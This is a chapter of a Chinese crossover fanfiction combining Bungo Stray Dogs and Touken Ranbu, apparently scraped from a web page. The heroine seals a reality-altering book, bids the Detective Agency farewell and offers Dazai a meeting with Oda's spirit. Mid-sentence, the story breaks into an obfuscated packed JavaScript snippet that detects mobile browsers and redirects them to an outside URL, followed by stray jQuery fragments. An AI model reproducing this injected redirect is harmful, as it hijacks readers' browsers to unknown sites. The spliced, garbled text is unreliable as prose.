40.文豪野犬21

作品:《我玩了八年的游戏活了?!

    上官苍凌垂眸看着昏迷不醒的费奥多尔与果戈里,右手在空中轻盈一勾——那本被金色灵力牢牢锁住的书籍便凌空飞至她面前。


    灵力如流沙般从书页缝隙间褪去,她伸手接过,指尖随意翻动。


    书页哗哗作响,每一页都是刺目的空白。


    “一本空白的书,为何会有那么强大的力量?”浦岛虎彻忍不住上前一步,眉头紧蹙。


    他刚才清晰地感受到那本书所散发的、近乎扭曲空间的压迫感,若不是主公及时用灵力封锁,恐怕那股力量早已席卷这片狭窄的下水道。


    “这是传说中能够改写现实的‘书’。”上官苍凌侧过头,看向安静窝在自己肩头的狐之助,声音平静却带着不容置疑的决断,“联系世界意识,将这股力量回收。留在这里太危险了。”


    “是,主公大人。”狐之助郑重地点头,胸前铃铛轻轻一晃,一道微光便将书籍吞没,“返回本丸后,我会即刻联系时之政府协调沟通,一有结果立即向您汇报。”


    “走吧,横滨的事解决了,该去向侦探社道别了。”上官苍凌最后瞥了一眼倒在地上的两人,转身时衣袂轻扬。


    金色的灵力如水波般荡漾开来,温柔地包裹住她与刀剑男士们。光芒流转间,几人的身影逐渐淡去,最终彻底消失在这片潮湿阴暗的下水道中。


    只是,上官苍凌未曾注意到,一缕极其稀薄、几乎与阴影融为一体的灰烟,悄无声息地黏上了她的衣角。


    刚在武装侦探社楼下落地,上官苍凌便看见了那个倚在路灯柱上的身影。


    太宰治姿态闲适,风衣松松搭在肩头,仿佛早已在此等候多时。见到她出现,他鸢色的眼睛里漾起笑意,抬手做了个颇为夸张的“请”的手势。


    “哎呀,上官小姐想必已经成功清理老鼠了吧?乱步先生正在楼上等着呢。”


    刀剑男士们几乎同时皱了皱眉,下意识向前半步,隐隐将上官苍凌护在身后——即便经历过合作,他们对这位心思难测的前港口□□干部仍无太多好感。


    上官苍凌只是淡淡应了声“知道了”,便带着刀剑们径直从他身边走过,没有多给一个眼神。


    “诶——上官小姐好冷淡啊。”太宰治却毫不在意地凑了上来,与她并肩而行,声音拖得悠长,“明明为了帮小姐捉老鼠,我可是费了好大功夫呢。没有功劳也有苦劳吧?这样无视我,简直是黑心老板的做派嘛。”


    上官苍凌目不斜视,步伐未乱。她自然清楚这次能顺利堵到费奥多尔,太宰治的谋划居功至伟。但她更明白,只要稍给回应,这人立刻就会顺杆而上、得寸进尺。


    晾一会儿再说。


    侦探社的门被推开时,江户川乱步正坐在办公桌前,捏着一块饼干。看见上官苍凌,他翠绿的眼睛一亮,立刻起身快步走了过来。


    上官苍凌身形高挑清瘦,在她眼中,名侦探这样小跑过来的模样,确实像只敏捷又可爱的猫。


    “乱步大人才不是猫!”江户川乱步在她面前站定,双手叉腰,微微仰起脸,一眼就看穿了她的想法。他佯装生气,却掩不住语气里的期待:“你的工作结束了,以后还会来吗?”


    上官苍凌眼里掠过一丝笑意,忍不住想逗他:“乱步是舍不得我,还是舍不得点心?”


    “明知故问!”江户川乱步轻哼一声,别过脸去,耳尖却微微发红。


    答案当然是前者——而“舍不得她”这个选项里,自然包含了“以后还能吃到烛台切光忠和小豆长光特制点心”这层意味。


    只要她还来这个世界,这点心供给就不会断。


    上官苍凌轻笑出声,随后正了正神色:“我是来道别的,工作完成,短时间内应该不会再来横滨了。”


    她从怀中取出一个金色御守,丝缎质地,上面绣着细密的守护纹路,隐隐流动着浅淡的灵力光泽。


    “临别礼物”


    江户川乱步盯着那御守看了几秒,翠绿色的眼眸抬起,与上官苍凌静静对视。片刻后,他撇撇嘴,接了过来。


    “瞎操心。”他将御守握在手心,声音轻了些,“乱步大人才不会出什么事。”


    嘴上这么说,他却将御守仔细收进了口袋。


    “不去和帽子君道个别吗?”他忽然问。


    上官苍凌望向窗外横滨的天空,微微一笑:“会有机会的。”


    又聊了几句,上官苍凌转身走向客厅去找自己的刀剑,却见太宰治正围在刀剑男士们身边,不知说了什么,笑靥如花,堀川国广虽然依旧笑着却并未搭理对方,而和泉守兼定则环抱着手臂,一脸忍耐。


    “太宰。”上官苍凌出声。


    太宰治转过头,鸢色的眼睛弯起:“上官小姐终于想起我啦?”


    “来谈谈你捉老鼠的酬劳吧。”


    太宰治眉梢微挑,露出一丝意外的神色。他双手环胸,唇角勾起玩味的弧度,目光在她脸上打量,仿佛在揣测她究竟能拿出什么“报酬”。


    “哦呀?上官小姐打算支付什么?”


    “乱步,”上官苍凌转向一旁吃饼干的侦探,“借你办公室一用。”


    江户川乱步挥挥手,含糊地应了声,注意力显然全在点心上。


    太宰治饶有兴致地跟着上官苍凌走向办公室——这是第一次,她主动要求与他单独谈话。之前总有刀剑男士在侧,像一道无声的屏障。


    门在身后合拢。


    窗外横滨的暮光斜斜照入,将办公室染成淡淡的暖金色。文件柜、办公桌、沙发都拖出长长的影子,空气里漂浮着微尘,在光线中缓缓旋转。


    太宰治靠在门边,没有立刻走近。他看着窗前那道略显清瘦的背影——上官苍凌正望着楼下的街道,侧脸在余晖中轮廓分明。风从半开的窗户吹进来,拂动她鬓边的碎发。


    他忽然觉得,这场对话或许会比他预想的更有意思。


    “我或许,可以让你和织田作之助见一次面。”


    上官苍凌没有转身,声音平静地传来。她没有要隐瞒的意思,相当直接,仿佛在陈述一件再普通不过的事。


    太宰治愣住了。


    有那么几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208983|194260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    秒钟,他甚至以为是自己的听觉出现了问题。走廊外隐约传来国木田训斥中岛敦的声音,楼下有汽车鸣笛驶过,但这些声音都变得遥远而不真实。


    他想像以往一样调侃或开个无伤大雅的玩笑——比如“上官小姐终于决定用超自然手段贿赂我了”——但这次,那些轻浮的话卡在喉咙里,无论如何都开不了口。


    他慢慢直起身,靠在门板上的后背离开了支撑。


    鸢色的眼睛盯着她的背影,里面翻涌着太复杂的情绪:怀疑、嘲讽、期待、恐惧,还有一丝连他自己都不愿承认的、颤抖的渴望。


    “上官小姐,”他的声音很轻,几乎不像他平时的语调,“你真的能做到吗?”


    “我说的是‘或许’。”上官苍凌转过身,和他对视着。她的眼睛在暮色中是一种清澈的琥珀色,里面没有同情,也没有试探,只有陈述事实的平静,“如果他仍有执念,还停留在人间的话,我可以让你短暂地看见他。但需要媒介。”


    “需要什么?”太宰治向前走了一步。风衣下摆在空气中划过一道弧线。


    “寄托情感、联结你和织田作之助的物品。越强烈越好。”


    太宰治在心中复述了一遍条件。寄托情感、联结他与织田作的物品。他几乎立刻想到了那个——锁在公寓抽屉最深处,用防水袋仔细封存的东西。


    “合照可以吗?”他问,声音比刚才更稳了一些,但手指在风衣口袋里无意识地收紧。


    “可以。”上官苍凌大概猜到了太宰治说的那张合照——lupin酒吧里,三个人的影子。


    那是织田作之助留在这个世界上,为数不多的痕迹之一。


    “那张合照我并没有带在身上。”太宰治说,“上官小姐需要准备什么吗?符咒?阵法?还是需要特定时间?”


    “不用,你去拿就行。”上官苍凌看了他一眼,“我在侦探社等你。但太宰——”


    她顿了顿,语气里多了一丝警告:“召灵不是游戏。你看到的可能不是你想看到的,你听到的也可能不是你想听到的。死者的执念往往不是生者所期待的模样。你确定要这么做吗?”


    太宰治笑了。那笑容里没有平时那种漫不经心的戏谑,而是一种近乎尖锐的坦然:


    “上官小姐,我从来不敢期待什么。只是……”他望向窗外渐暗的天空,声音轻得像叹息,“只是想确认一些事罢了。”


    “去吧。”上官苍凌说,“尽快回来,我下午还有别的事情。”


    太宰治点了点头,没有再多说什么,转身拉开门走了出去。脚步声在走廊里快速远去。


    上官苍凌独自站在渐暗的办公室里,手指无意识地拂过衣袖。就在那一瞬间,她似乎感觉到衣料下有极其微弱的、冰凉的东西一闪而过。


    但当她凝神去感知时,又什么都没有了。


    是错觉吧。她望向窗外,横滨的灯火正一盏盏亮起,像散落在地面的星子。


    而她没有看见,自己袖口内侧,一道浅灰色的纹路正如同活物般,极其缓慢地舒展开来。